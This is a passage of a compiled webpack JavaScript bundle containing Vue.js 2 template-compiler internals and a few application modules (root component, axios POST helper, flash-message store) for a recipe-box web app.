addAttr(el, name, JSON.stringify(value));
}
}
}
function checkInFor(el) {
var parent = el;
while (parent) {
if (parent.for !== undefined) {
return true;
}
parent = parent.parent;
}
return false;
}
function parseModifiers(name) {
var match = name.match(modifierRE);
if (match) {
var ret = {};
match.forEach(function (m) {
ret[m.slice(1)] = true;
});
return ret;
}
}
function makeAttrsMap(attrs) {
var map = {};
for (var i = 0, l = attrs.length; i < l; i++) {
if ("development" !== 'production' && map[attrs[i].name] && !isIE && !isEdge) {
warn$2('duplicate attribute: ' + attrs[i].name);
}
map[attrs[i].name] = attrs[i].value;
}
return map;
}
// for script (e.g. type="x/template") or style, do not decode content
function isTextTag(el) {
return el.tag === 'script' || el.tag === 'style';
}
function isForbiddenTag(el) {
return el.tag === 'style' || el.tag === 'script' && (!el.attrsMap.type || el.attrsMap.type === 'text/javascript');
}
var ieNSBug = /^xmlns:NS\d+/;
var ieNSPrefix = /^NS\d+:/;
/* istanbul ignore next */
function guardIESVGBug(attrs) {
var res = [];
for (var i = 0; i < attrs.length; i++) {
var attr = attrs[i];
if (!ieNSBug.test(attr.name)) {
attr.name = attr.name.replace(ieNSPrefix, '');
res.push(attr);
}
}
return res;
}
function checkForAliasModel(el, value) {
var _el = el;
while (_el) {
if (_el.for && _el.alias === value) {
warn$2("<" + el.tag + " v-model=\"" + value + "\">: " + "You are binding v-model directly to a v-for iteration alias. " + "This will not be able to modify the v-for source array because " + "writing to the alias is like modifying a function local variable. " + "Consider using an array of objects and use v-model on an object property instead.");
}
_el = _el.parent;
}
}
/* */
var isStaticKey;
var isPlatformReservedTag;
var genStaticKeysCached = cached(genStaticKeys$1);
/**
* Goal of the optimizer: walk the generated template AST tree
* and detect sub-trees that are purely static, i.e. parts of
* the DOM that never needs to change.
*
* Once we detect these sub-trees, we can:
*
* 1. Hoist them into constants, so that we no longer need to
* create fresh nodes for them on each re-render;
* 2. Completely skip them in the patching process.
*/
function optimize(root, options) {
if (!root) {
return;
}
isStaticKey = genStaticKeysCached(options.staticKeys || '');
isPlatformReservedTag = options.isReservedTag || no;
// first pass: mark all non-static nodes.
markStatic$1(root);
// second pass: mark static roots.
markStaticRoots(root, false);
}
function genStaticKeys$1(keys) {
return makeMap('type,tag,attrsList,attrsMap,plain,parent,children,attrs' + (keys ? ',' + keys : ''));
}
function markStatic$1(node) {
node.static = isStatic(node);
if (node.type === 1) {
// do not make component slot content static. this avoids
// 1. components not able to mutate slot nodes
// 2. static slot content fails for hot-reloading
if (!isPlatformReservedTag(node.tag) && node.tag !== 'slot' && node.attrsMap['inline-template'] == null) {
return;
}
for (var i = 0, l = node.children.length; i < l; i++) {
var child = node.children[i];
markStatic$1(child);
if (!child.static) {
node.static = false;
}
}
}
}
function markStaticRoots(node, isInFor) {
if (node.type === 1) {
if (node.static || node.once) {
node.staticInFor = isInFor;
}
// For a node to qualify as a static root, it should have children that
// are not just static text. Otherwise the cost of hoisting out will
// outweigh the benefits and it's better off to just always render it fresh.
if (node.static && node.children.length && !(node.children.length === 1 && node.children[0].type === 3)) {
node.staticRoot = true;
return;
} else {
node.staticRoot = false;
}
if (node.children) {
for (var i = 0, l = node.children.length; i < l; i++) {
markStaticRoots(node.children[i], isInFor || !!node.for);
}
}
if (node.ifConditions) {
walkThroughConditionsBlocks(node.ifConditions, isInFor);
}
}
}
function walkThroughConditionsBlocks(conditionBlocks, isInFor) {
for (var i = 1, len = conditionBlocks.length; i < len; i++) {
markStaticRoots(conditionBlocks[i].block, isInFor);
}
}
function isStatic(node) {
if (node.type === 2) {
// expression
return false;
}
if (node.type === 3) {
// text
return true;
}
return !!(node.pre || !node.hasBindings && // no dynamic bindings
!node.if && !node.for && // not v-if or v-for or v-else
!isBuiltInTag(node.tag) && // not a built-in
isPlatformReservedTag(node.tag) && // not a component
!isDirectChildOfTemplateFor(node) && Object.keys(node).every(isStaticKey));
}
function isDirectChildOfTemplateFor(node) {
while (node.parent) {
node = node.parent;
if (node.tag !== 'template') {
return false;
}
if (node.for) {
return true;
}
}
return false;
}
/* */
var fnExpRE = /^\s*([\w$_]+|\([^)]*?\))\s*=>|^function\s*\(/;
var simplePathRE = /^\s*[A-Za-z_$][\w$]*(?:\.[A-Za-z_$][\w$]*|\['.*?']|\[".*?"]|\[\d+]|\[[A-Za-z_$][\w$]*])*\s*$/;
// keyCode aliases
var keyCodes = {
esc: 27,
tab: 9,
enter: 13,
space: 32,
up: 38,
left: 37,
right: 39,
down: 40,
'delete': [8, 46]
};
// #4868: modifiers that prevent the execution of the listener
// need to explicitly return null so that we can determine whether to remove
// the listener for .once
var genGuard = function genGuard(condition) {
return "if(" + condition + ")return null;";
};
var modifierCode = {
stop: '$event.stopPropagation();',
prevent: '$event.preventDefault();',
self: genGuard("$event.target !== $event.currentTarget"),
ctrl: genGuard("!$event.ctrlKey"),
shift: genGuard("!$event.shiftKey"),
alt: genGuard("!$event.altKey"),
meta: genGuard("!$event.metaKey"),
left: genGuard("'button' in $event && $event.button !== 0"),
middle: genGuard("'button' in $event && $event.button !== 1"),
right: genGuard("'button' in $event && $event.button !== 2")
};
function genHandlers(events, isNative, warn) {
var res = isNative ? 'nativeOn:{' : 'on:{';
for (var name in events) {
var handler = events[name];
// #5330: warn click.right, since right clicks do not actually fire click events.
if ("development" !== 'production' && name === 'click' && handler && handler.modifiers && handler.modifiers.right) {
warn("Use \"contextmenu\" instead of \"click.right\" since right clicks " + "do not actually fire \"click\" events.");
}
res += "\"" + name + "\":" + genHandler(name, handler) + ",";
}
return res.slice(0, -1) + '}';
}
function genHandler(name, handler) {
if (!handler) {
return 'function(){}';
}
if (Array.isArray(handler)) {
return "[" + handler.map(function (handler) {
return genHandler(name, handler);
}).join(',') + "]";
}
var isMethodPath = simplePathRE.test(handler.value);
var isFunctionExpression = fnExpRE.test(handler.value);
if (!handler.modifiers) {
return isMethodPath || isFunctionExpression ? handler.value : "function($event){" + handler.value + "}"; // inline statement
} else {
var code = '';
var genModifierCode = '';
var keys = [];
for (var key in handler.modifiers) {
if (modifierCode[key]) {
genModifierCode += modifierCode[key];
// left/right
if (keyCodes[key]) {
keys.push(key);
}
} else {
keys.push(key);
}
}
if (keys.length) {
code += genKeyFilter(keys);
}
// Make sure modifiers like prevent and stop get executed after key filtering
if (genModifierCode) {
code += genModifierCode;
}
var handlerCode = isMethodPath ? handler.value + '($event)' : isFunctionExpression ? "(" + handler.value + ")($event)" : handler.value;
return "function($event){" + code + handlerCode + "}";
}
}
function genKeyFilter(keys) {
return "if(!('button' in $event)&&" + keys.map(genFilterCode).join('&&') + ")return null;";
}
function genFilterCode(key) {
var keyVal = parseInt(key, 10);
if (keyVal) {
return "$event.keyCode!==" + keyVal;
}
var alias = keyCodes[key];
return "_k($event.keyCode," + JSON.stringify(key) + (alias ? ',' + JSON.stringify(alias) : '') + ")";
}
/* */
function bind$1(el, dir) {
el.wrapData = function (code) {
return "_b(" + code + ",'" + el.tag + "'," + dir.value + (dir.modifiers && dir.modifiers.prop ? ',true' : '') + ")";
};
}
/* */
var baseDirectives = {
bind: bind$1,
cloak: noop
};
/* */
// configurable state
var warn$3;
var transforms$1;
var dataGenFns;
var platformDirectives$1;
var isPlatformReservedTag$1;
var staticRenderFns;
var onceCount;
var currentOptions;
function generate(ast, options) {
// save previous staticRenderFns so generate calls can be nested
var prevStaticRenderFns = staticRenderFns;
var currentStaticRenderFns = staticRenderFns = [];
var prevOnceCount = onceCount;
onceCount = 0;
currentOptions = options;
warn$3 = options.warn || baseWarn;
transforms$1 = pluckModuleFunction(options.modules, 'transformCode');
dataGenFns = pluckModuleFunction(options.modules, 'genData');
platformDirectives$1 = options.directives || {};
isPlatformReservedTag$1 = options.isReservedTag || no;
var code = ast ? genElement(ast) : '_c("div")';
staticRenderFns = prevStaticRenderFns;
onceCount = prevOnceCount;
return {
render: "with(this){return " + code + "}",
staticRenderFns: currentStaticRenderFns
};
}
function genElement(el) {
if (el.staticRoot && !el.staticProcessed) {
return genStatic(el);
} else if (el.once && !el.onceProcessed) {
return genOnce(el);
} else if (el.for && !el.forProcessed) {
return genFor(el);
} else if (el.if && !el.ifProcessed) {
return genIf(el);
} else if (el.tag === 'template' && !el.slotTarget) {
return genChildren(el) || 'void 0';
} else if (el.tag === 'slot') {
return genSlot(el);
} else {
// component or element
var code;
if (el.component) {
code = genComponent(el.component, el);
} else {
var data = el.plain ? undefined : genData(el);
var children = el.inlineTemplate ? null : genChildren(el, true);
code = "_c('" + el.tag + "'" + (data ? "," + data : '') + (children ? "," + children : '') + ")";
}
// module transforms
for (var i = 0; i < transforms$1.length; i++) {
code = transforms$1[i](el, code);
}
return code;
}
}
// hoist static sub-trees out
function genStatic(el) {
el.staticProcessed = true;
staticRenderFns.push("with(this){return " + genElement(el) + "}");
return "_m(" + (staticRenderFns.length - 1) + (el.staticInFor ? ',true' : '') + ")";
}
// v-once
function genOnce(el) {
el.onceProcessed = true;
if (el.if && !el.ifProcessed) {
return genIf(el);
} else if (el.staticInFor) {
var key = '';
var parent = el.parent;
while (parent) {
if (parent.for) {
key = parent.key;
break;
}
parent = parent.parent;
}
if (!key) {
"development" !== 'production' && warn$3("v-once can only be used inside v-for that is keyed. ");
return genElement(el);
}
return "_o(" + genElement(el) + "," + onceCount++ + (key ? "," + key : "") + ")";
} else {
return genStatic(el);
}
}
function genIf(el) {
el.ifProcessed = true; // avoid recursion
return genIfConditions(el.ifConditions.slice());
}
function genIfConditions(conditions) {
if (!conditions.length) {
return '_e()';
}
var condition = conditions.shift();
if (condition.exp) {
return "(" + condition.exp + ")?" + genTernaryExp(condition.block) + ":" + genIfConditions(conditions);
} else {
return "" + genTernaryExp(condition.block);
}
// v-if with v-once should generate code like (a)?_m(0):_m(1)
function genTernaryExp(el) {
return el.once ? genOnce(el) : genElement(el);
}
}
function genFor(el) {
var exp = el.for;
var alias = el.alias;
var iterator1 = el.iterator1 ? "," + el.iterator1 : '';
var iterator2 = el.iterator2 ? "," + el.iterator2 : '';
if ("development" !== 'production' && maybeComponent(el) && el.tag !== 'slot' && el.tag !== 'template' && !el.key) {
warn$3("<" + el.tag + " v-for=\"" + alias + " in " + exp + "\">: component lists rendered with " + "v-for should have explicit keys. " + "See https://vuejs.org/guide/list.html#key for more info.", true /* tip */
);
}
el.forProcessed = true; // avoid recursion
return "_l((" + exp + ")," + "function(" + alias + iterator1 + iterator2 + "){" + "return " + genElement(el) + '})';
}
function genData(el) {
var data = '{';
// directives first.
// directives may mutate the el's other properties before they are generated.
var dirs = genDirectives(el);
if (dirs) {
data += dirs + ',';
}
// key
if (el.key) {
data += "key:" + el.key + ",";
}
// ref
if (el.ref) {
data += "ref:" + el.ref + ",";
}
if (el.refInFor) {
data += "refInFor:true,";
}
// pre
if (el.pre) {
data += "pre:true,";
}
// record original tag name for components using "is" attribute
if (el.component) {
data += "tag:\"" + el.tag + "\",";
}
// module data generation functions
for (var i = 0; i < dataGenFns.length; i++) {
data += dataGenFns[i](el);
}
// attributes
if (el.attrs) {
data += "attrs:{" + genProps(el.attrs) + "},";
}
// DOM props
if (el.props) {
data += "domProps:{" + genProps(el.props) + "},";
}
// event handlers
if (el.events) {
data += genHandlers(el.events, false, warn$3) + ",";
}
if (el.nativeEvents) {
data += genHandlers(el.nativeEvents, true, warn$3) + ",";
}
// slot target
if (el.slotTarget) {
data += "slot:" + el.slotTarget + ",";
}
// scoped slots
if (el.scopedSlots) {
data += genScopedSlots(el.scopedSlots) + ",";
}
// component v-model
if (el.model) {
data += "model:{value:" + el.model.value + ",callback:" + el.model.callback + ",expression:" + el.model.expression + "},";
}
// inline-template
if (el.inlineTemplate) {
var inlineTemplate = genInlineTemplate(el);
if (inlineTemplate) {
data += inlineTemplate + ",";
}
}
data = data.replace(/,$/, '') + '}';
// v-bind data wrap
if (el.wrapData) {
data = el.wrapData(data);
}
return data;
}
function genDirectives(el) {
var dirs = el.directives;
if (!dirs) {
return;
}
var res = 'directives:[';
var hasRuntime = false;
var i, l, dir, needRuntime;
for (i = 0, l = dirs.length; i < l; i++) {
dir = dirs[i];
needRuntime = true;
var gen = platformDirectives$1[dir.name] || baseDirectives[dir.name];
if (gen) {
// compile-time directive that manipulates AST.
// returns true if it also needs a runtime counterpart.
needRuntime = !!gen(el, dir, warn$3);
}
if (needRuntime) {
hasRuntime = true;
res += "{name:\"" + dir.name + "\",rawName:\"" + dir.rawName + "\"" + (dir.value ? ",value:(" + dir.value + "),expression:" + JSON.stringify(dir.value) : '') + (dir.arg ? ",arg:\"" + dir.arg + "\"" : '') + (dir.modifiers ? ",modifiers:" + JSON.stringify(dir.modifiers) : '') + "},";
}
}
if (hasRuntime) {
return res.slice(0, -1) + ']';
}
}
function genInlineTemplate(el) {
var ast = el.children[0];
if ("development" !== 'production' && (el.children.length > 1 || ast.type !== 1)) {
warn$3('Inline-template components must have exactly one child element.');
}
if (ast.type === 1) {
var inlineRenderFns = generate(ast, currentOptions);
return "inlineTemplate:{render:function(){" + inlineRenderFns.render + "},staticRenderFns:[" + inlineRenderFns.staticRenderFns.map(function (code) {
return "function(){" + code + "}";
}).join(',') + "]}";
}
}
function genScopedSlots(slots) {
return "scopedSlots:_u([" + Object.keys(slots).map(function (key) {
return genScopedSlot(key, slots[key]);
}).join(',') + "])";
}
function genScopedSlot(key, el) {
if (el.for && !el.forProcessed) {
return genForScopedSlot(key, el);
}
return "{key:" + key + ",fn:function(" + String(el.attrsMap.scope) + "){" + "return " + (el.tag === 'template' ? genChildren(el) || 'void 0' : genElement(el)) + "}}";
}
function genForScopedSlot(key, el) {
var exp = el.for;
var alias = el.alias;
var iterator1 = el.iterator1 ? "," + el.iterator1 : '';
var iterator2 = el.iterator2 ? "," + el.iterator2 : '';
el.forProcessed = true; // avoid recursion
return "_l((" + exp + ")," + "function(" + alias + iterator1 + iterator2 + "){" + "return " + genScopedSlot(key, el) + '})';
}
function genChildren(el, checkSkip) {
var children = el.children;
if (children.length) {
var el$1 = children[0];
// optimize single v-for
if (children.length === 1 && el$1.for && el$1.tag !== 'template' && el$1.tag !== 'slot') {
return genElement(el$1);
}
var normalizationType = checkSkip ? getNormalizationType(children) : 0;
return "[" + children.map(genNode).join(',') + "]" + (normalizationType ? "," + normalizationType : '');
}
}
// determine the normalization needed for the children array.
// 0: no normalization needed
// 1: simple normalization needed (possible 1-level deep nested array)
// 2: full normalization needed
function getNormalizationType(children) {
var res = 0;
for (var i = 0; i < children.length; i++) {
var el = children[i];
if (el.type !== 1) {
continue;
}
if (needsNormalization(el) || el.ifConditions && el.ifConditions.some(function (c) {
return needsNormalization(c.block);
})) {
res = 2;
break;
}
if (maybeComponent(el) || el.ifConditions && el.ifConditions.some(function (c) {
return maybeComponent(c.block);
})) {
res = 1;
}
}
return res;
}
function needsNormalization(el) {
return el.for !== undefined || el.tag === 'template' || el.tag === 'slot';
}
function maybeComponent(el) {
return !isPlatformReservedTag$1(el.tag);
}
function genNode(node) {
if (node.type === 1) {
return genElement(node);
} else {
return genText(node);
}
}
function genText(text) {
return "_v(" + (text.type === 2 ? text.expression // no need for () because already wrapped in _s()
: transformSpecialNewlines(JSON.stringify(text.text))) + ")";
}
function genSlot(el) {
var slotName = el.slotName || '"default"';
var children = genChildren(el);
var res = "_t(" + slotName + (children ? "," + children : '');
var attrs = el.attrs && "{" + el.attrs.map(function (a) {
return camelize(a.name) + ":" + a.value;
}).join(',') + "}";
var bind$$1 = el.attrsMap['v-bind'];
if ((attrs || bind$$1) && !children) {
res += ",null";
}
if (attrs) {
res += "," + attrs;
}
if (bind$$1) {
res += (attrs ? '' : ',null') + "," + bind$$1;
}
return res + ')';
}
// componentName is el.component, take it as argument to shun flow's pessimistic refinement
function genComponent(componentName, el) {
var children = el.inlineTemplate ? null : genChildren(el, true);
return "_c(" + componentName + "," + genData(el) + (children ? "," + children : '') + ")";
}
function genProps(props) {
var res = '';
for (var i = 0; i < props.length; i++) {
var prop = props[i];
res += "\"" + prop.name + "\":" + transformSpecialNewlines(prop.value) + ",";
}
return res.slice(0, -1);
}
// #3895, #4268
function transformSpecialNewlines(text) {
return text.replace(/\u2028/g, '\\u2028').replace(/\u2029/g, '\\u2029');
}
/* */
// these keywords should not appear inside expressions, but operators like
// typeof, instanceof and in are allowed
var prohibitedKeywordRE = new RegExp('\\b' + ('do,if,for,let,new,try,var,case,else,with,await,break,catch,class,const,' + 'super,throw,while,yield,delete,export,import,return,switch,default,' + 'extends,finally,continue,debugger,function,arguments').split(',').join('\\b|\\b') + '\\b');
// these unary operators should not be used as property/method names
var unaryOperatorsRE = new RegExp('\\b' + 'delete,typeof,void'.split(',').join('\\s*\\([^\\)]*\\)|\\b') + '\\s*\\([^\\)]*\\)');
// check valid identifier for v-for
var identRE = /[A-Za-z_$][\w$]*/;
// strip strings in expressions
var stripStringRE = /'(?:[^'\\]|\\.)*'|"(?:[^"\\]|\\.)*"|`(?:[^`\\]|\\.)*\$\{|\}(?:[^`\\]|\\.)*`|`(?:[^`\\]|\\.)*`/g;
// detect problematic expressions in a template
function detectErrors(ast) {
var errors = [];
if (ast) {
checkNode(ast, errors);
}
return errors;
}
function checkNode(node, errors) {
if (node.type === 1) {
for (var name in node.attrsMap) {
if (dirRE.test(name)) {
var value = node.attrsMap[name];
if (value) {
if (name === 'v-for') {
checkFor(node, "v-for=\"" + value + "\"", errors);
} else if (onRE.test(name)) {
checkEvent(value, name + "=\"" + value + "\"", errors);
} else {
checkExpression(value, name + "=\"" + value + "\"", errors);
}
}
}
}
if (node.children) {
for (var i = 0; i < node.children.length; i++) {
checkNode(node.children[i], errors);
}
}
} else if (node.type === 2) {
checkExpression(node.expression, node.text, errors);
}
}
function checkEvent(exp, text, errors) {
var stipped = exp.replace(stripStringRE, '');
var keywordMatch = stipped.match(unaryOperatorsRE);
if (keywordMatch && stipped.charAt(keywordMatch.index - 1) !== '$') {
errors.push("avoid using JavaScript unary operator as property name: " + "\"" + keywordMatch[0] + "\" in expression " + text.trim());
}
checkExpression(exp, text, errors);
}
function checkFor(node, text, errors) {
checkExpression(node.for || '', text, errors);
checkIdentifier(node.alias, 'v-for alias', text, errors);
checkIdentifier(node.iterator1, 'v-for iterator', text, errors);
checkIdentifier(node.iterator2, 'v-for iterator', text, errors);
}
function checkIdentifier(ident, type, text, errors) {
if (typeof ident === 'string' && !identRE.test(ident)) {
errors.push("invalid " + type + " \"" + ident + "\" in expression: " + text.trim());
}
}
function checkExpression(exp, text, errors) {
try {
new Function("return " + exp);
} catch (e) {
var keywordMatch = exp.replace(stripStringRE, '').match(prohibitedKeywordRE);
if (keywordMatch) {
errors.push("avoid using JavaScript keyword as property name: " + "\"" + keywordMatch[0] + "\" in expression " + text.trim());
} else {
errors.push("invalid expression: " + text.trim());
}
}
}
/* */
function baseCompile(template, options) {
var ast = parse(template.trim(), options);
optimize(ast, options);
var code = generate(ast, options);
return {
ast: ast,
render: code.render,
staticRenderFns: code.staticRenderFns
};
}
function makeFunction(code, errors) {
try {
return new Function(code);
} catch (err) {
errors.push({ err: err, code: code });
return noop;
}
}
function createCompiler(baseOptions) {
var functionCompileCache = Object.create(null);
function compile(template, options) {
var finalOptions = Object.create(baseOptions);
var errors = [];
var tips = [];
finalOptions.warn = function (msg, tip$$1) {
(tip$$1 ? tips : errors).push(msg);
};
if (options) {
// merge custom modules
if (options.modules) {
finalOptions.modules = (baseOptions.modules || []).concat(options.modules);
}
// merge custom directives
if (options.directives) {
finalOptions.directives = extend(Object.create(baseOptions.directives), options.directives);
}
// copy other options
for (var key in options) {
if (key !== 'modules' && key !== 'directives') {
finalOptions[key] = options[key];
}
}
}
var compiled = baseCompile(template, finalOptions);
if (true) {
errors.push.apply(errors, detectErrors(compiled.ast));
}
compiled.errors = errors;
compiled.tips = tips;
return compiled;
}
function compileToFunctions(template, options, vm) {
options = options || {};
/* istanbul ignore if */
if (true) {
// detect possible CSP restriction
try {
new Function('return 1');
} catch (e) {
if (e.toString().match(/unsafe-eval|CSP/)) {
warn('It seems you are using the standalone build of Vue.js in an ' + 'environment with Content Security Policy that prohibits unsafe-eval. ' + 'The template compiler cannot work in this environment. Consider ' + 'relaxing the policy to allow unsafe-eval or pre-compiling your ' + 'templates into render functions.');
}
}
}
// check cache
var key = options.delimiters ? String(options.delimiters) + template : template;
if (functionCompileCache[key]) {
return functionCompileCache[key];
}
// compile
var compiled = compile(template, options);
// check compilation errors/tips
if (true) {
if (compiled.errors && compiled.errors.length) {
warn("Error compiling template:\n\n" + template + "\n\n" + compiled.errors.map(function (e) {
return "- " + e;
}).join('\n') + '\n', vm);
}
if (compiled.tips && compiled.tips.length) {
compiled.tips.forEach(function (msg) {
return tip(msg, vm);
});
}
}
// turn code into functions
var res = {};
var fnGenErrors = [];
res.render = makeFunction(compiled.render, fnGenErrors);
var l = compiled.staticRenderFns.length;
res.staticRenderFns = new Array(l);
for (var i = 0; i < l; i++) {
res.staticRenderFns[i] = makeFunction(compiled.staticRenderFns[i], fnGenErrors);
}
// check function generation errors.
// this should only happen if there is a bug in the compiler itself.
// mostly for codegen development use
/* istanbul ignore if */
if (true) {
if ((!compiled.errors || !compiled.errors.length) && fnGenErrors.length) {
warn("Failed to generate render function:\n\n" + fnGenErrors.map(function (ref) {
var err = ref.err;
var code = ref.code;
return err.toString() + " in\n\n" + code + "\n";
}).join('\n'), vm);
}
}
return functionCompileCache[key] = res;
}
return {
compile: compile,
compileToFunctions: compileToFunctions
};
}
/* */
function transformNode(el, options) {
var warn = options.warn || baseWarn;
var staticClass = getAndRemoveAttr(el, 'class');
if ("development" !== 'production' && staticClass) {
var expression = parseText(staticClass, options.delimiters);
if (expression) {
warn("class=\"" + staticClass + "\": " + 'Interpolation inside attributes has been removed. ' + 'Use v-bind or the colon shorthand instead. For example, ' + 'instead of <div class="{{ val }}">, use <div :class="val">.');
}
}
if (staticClass) {
el.staticClass = JSON.stringify(staticClass);
}
var classBinding = getBindingAttr(el, 'class', false /* getStatic */);
if (classBinding) {
el.classBinding = classBinding;
}
}
function genData$1(el) {
var data = '';
if (el.staticClass) {
data += "staticClass:" + el.staticClass + ",";
}
if (el.classBinding) {
data += "class:" + el.classBinding + ",";
}
return data;
}
var klass$1 = {
staticKeys: ['staticClass'],
transformNode: transformNode,
genData: genData$1
};
/* */
function transformNode$1(el, options) {
var warn = options.warn || baseWarn;
var staticStyle = getAndRemoveAttr(el, 'style');
if (staticStyle) {
/* istanbul ignore if */
if (true) {
var expression = parseText(staticStyle, options.delimiters);
if (expression) {
warn("style=\"" + staticStyle + "\": " + 'Interpolation inside attributes has been removed. ' + 'Use v-bind or the colon shorthand instead. For example, ' + 'instead of <div style="{{ val }}">, use <div :style="val">.');
}
}
el.staticStyle = JSON.stringify(parseStyleText(staticStyle));
}
var styleBinding = getBindingAttr(el, 'style', false /* getStatic */);
if (styleBinding) {
el.styleBinding = styleBinding;
}
}
function genData$2(el) {
var data = '';
if (el.staticStyle) {
data += "staticStyle:" + el.staticStyle + ",";
}
if (el.styleBinding) {
data += "style:(" + el.styleBinding + "),";
}
return data;
}
var style$1 = {
staticKeys: ['staticStyle'],
transformNode: transformNode$1,
genData: genData$2
};
var modules$1 = [klass$1, style$1];
/* */
function text(el, dir) {
if (dir.value) {
addProp(el, 'textContent', "_s(" + dir.value + ")");
}
}
/* */
function html(el, dir) {
if (dir.value) {
addProp(el, 'innerHTML', "_s(" + dir.value + ")");
}
}
var directives$1 = {
model: model,
text: text,
html: html
};
/* */
var baseOptions = {
expectHTML: true,
modules: modules$1,
directives: directives$1,
isPreTag: isPreTag,
isUnaryTag: isUnaryTag,
mustUseProp: mustUseProp,
canBeLeftOpenTag: canBeLeftOpenTag,
isReservedTag: isReservedTag,
getTagNamespace: getTagNamespace,
staticKeys: genStaticKeys(modules$1)
};
var ref$1 = createCompiler(baseOptions);
var compileToFunctions = ref$1.compileToFunctions;
/* */
var idToTemplate = cached(function (id) {
var el = query(id);
return el && el.innerHTML;
});
var mount = Vue$3.prototype.$mount;
Vue$3.prototype.$mount = function (el, hydrating) {
el = el && query(el);
/* istanbul ignore if */
if (el === document.body || el === document.documentElement) {
"development" !== 'production' && warn("Do not mount Vue to <html> or <body> - mount to normal elements instead.");
return this;
}
var options = this.$options;
// resolve template/el and convert to render function
if (!options.render) {
var template = options.template;
if (template) {
if (typeof template === 'string') {
if (template.charAt(0) === '#') {
template = idToTemplate(template);
/* istanbul ignore if */
if ("development" !== 'production' && !template) {
warn("Template element not found or is empty: " + options.template, this);
}
}
} else if (template.nodeType) {
template = template.innerHTML;
} else {
if (true) {
warn('invalid template option:' + template, this);
}
return this;
}
} else if (el) {
template = getOuterHTML(el);
}
if (template) {
/* istanbul ignore if */
if ("development" !== 'production' && config.performance && mark) {
mark('compile');
}
var ref = compileToFunctions(template, {
shouldDecodeNewlines: shouldDecodeNewlines,
delimiters: options.delimiters
}, this);
var render = ref.render;
var staticRenderFns = ref.staticRenderFns;
options.render = render;
options.staticRenderFns = staticRenderFns;
/* istanbul ignore if */
if ("development" !== 'production' && config.performance && mark) {
mark('compile end');
measure(this._name + " compile", 'compile', 'compile end');
}
}
}
return mount.call(this, el, hydrating);
};
/**
* Get outerHTML of elements, taking care
* of SVG elements in IE as well.
*/
function getOuterHTML(el) {
if (el.outerHTML) {
return el.outerHTML;
} else {
var container = document.createElement('div');
container.appendChild(el.cloneNode(true));
return container.innerHTML;
}
}
Vue$3.compile = compileToFunctions;
module.exports = Vue$3;
/* WEBPACK VAR INJECTION */
}).call(exports, __webpack_require__("./node_modules/webpack/buildin/global.js"));
/***/
},
/***/"./node_modules/webpack/buildin/global.js":
/***/function node_modulesWebpackBuildinGlobalJs(module, exports) {
var g;
// This works in non-strict mode
g = function () {
return this;
}();
try {
// This works if eval is allowed (see CSP)
g = g || Function("return this")() || (1, eval)("this");
} catch (e) {
// This works if the window reference is available
if ((typeof window === 'undefined' ? 'undefined' : _typeof(window)) === "object") g = window;
}
// g can still be undefined, but nothing to do about it...
// We return undefined, instead of nothing here, so it's
// easier to handle this case. if(!global) { ...}
module.exports = g;
/***/
},
/***/"./resources/assets/js/App.vue":
/***/function resourcesAssetsJsAppVue(module, exports, __webpack_require__) {
var Component = __webpack_require__("./node_modules/vue-loader/lib/component-normalizer.js")(
/* script */
__webpack_require__("./node_modules/babel-loader/lib/index.js?{\"cacheDirectory\":true,\"presets\":[[\"env\",{\"modules\":false,\"targets\":{\"browsers\":[\"> 2%\"],\"uglify\":true}}]]}!./node_modules/vue-loader/lib/selector.js?type=script&index=0!./resources/assets/js/App.vue"),
/* template */
__webpack_require__("./node_modules/vue-loader/lib/template-compiler/index.js?{\"id\":\"data-v-290ad3a6\"}!./node_modules/vue-loader/lib/selector.js?type=template&index=0!./resources/assets/js/App.vue"),
/* scopeId */
null,
/* cssModules */
null);
Component.options.__file = "/var/www/html/recipebox/resources/assets/js/App.vue";
if (Component.esModule && Object.keys(Component.esModule).some(function (key) {
return key !== "default" && key !== "__esModule";
})) {
console.error("named exports are not supported in *.vue files.");
}
if (Component.options.functional) {
console.error("[vue-loader] App.vue: functional components are not supported with templates, they should use render functions.");
}
/* hot reload */
if (false) {
(function () {
var hotAPI = require("vue-hot-reload-api");
hotAPI.install(require("vue"), false);
if (!hotAPI.compatible) return;
module.hot.accept();
if (!module.hot.data) {
hotAPI.createRecord("data-v-290ad3a6", Component.options);
} else {
hotAPI.reload("data-v-290ad3a6", Component.options);
}
})();
}
module.exports = Component.exports;
/***/
},
/***/"./resources/assets/js/app.js":
/***/function resourcesAssetsJsAppJs(module, __webpack_exports__, __webpack_require__) {
"use strict";
Object.defineProperty(__webpack_exports__, "__esModule", { value: true });
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0_vue__ = __webpack_require__("./node_modules/vue/dist/vue.common.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0_vue___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_vue__);
/* harmony import */var __WEBPACK_IMPORTED_MODULE_1__App_vue__ = __webpack_require__("./resources/assets/js/App.vue");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_1__App_vue___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_1__App_vue__);
/* harmony import */var __WEBPACK_IMPORTED_MODULE_2__router__ = __webpack_require__("./resources/assets/js/router/index.js");
var app = new __WEBPACK_IMPORTED_MODULE_0_vue___default.a({
el: '#root',
template: '<app></app>',
components: { App: __WEBPACK_IMPORTED_MODULE_1__App_vue___default.a },
router: __WEBPACK_IMPORTED_MODULE_2__router__["a" /* default */]
});
/***/
},
/***/"./resources/assets/js/helpers/api.js":
/***/function resourcesAssetsJsHelpersApiJs(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony export (immutable) */
__webpack_exports__["a"] = post;
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0_axios__ = __webpack_require__("./node_modules/axios/index.js");
/* harmony import */var __WEBPACK_IMPORTED_MODULE_0_axios___default = __webpack_require__.n(__WEBPACK_IMPORTED_MODULE_0_axios__);
function post(url, data) {
return __WEBPACK_IMPORTED_MODULE_0_axios___default.a({
method: 'POST',
url: url,
data: data,
headers: {
'Authorization': ''
}
});
}
/***/
},
/***/"./resources/assets/js/helpers/flash.js":
/***/function resourcesAssetsJsHelpersFlashJs(module, __webpack_exports__, __webpack_require__) {
"use strict";
/* harmony default export */
__webpack_exports__["a"] = {
state: {
success: null,
error: null
},
setSuccess: function setSuccess(message) {
var _this = this;
this.state.success = message;
setTimeout(function () {
_this.removeSuccess();
}, 3000);
},
setError: function setError(message) {
var _this2 = this;
this.state.error = message;
setTimeout(function () {
_this2.removeError();
}, 10000);
},
removeSuccess: function removeSuccess() {
this.state.success = null;
},
removeError: function removeError() {
this.state.error = null;
}
};
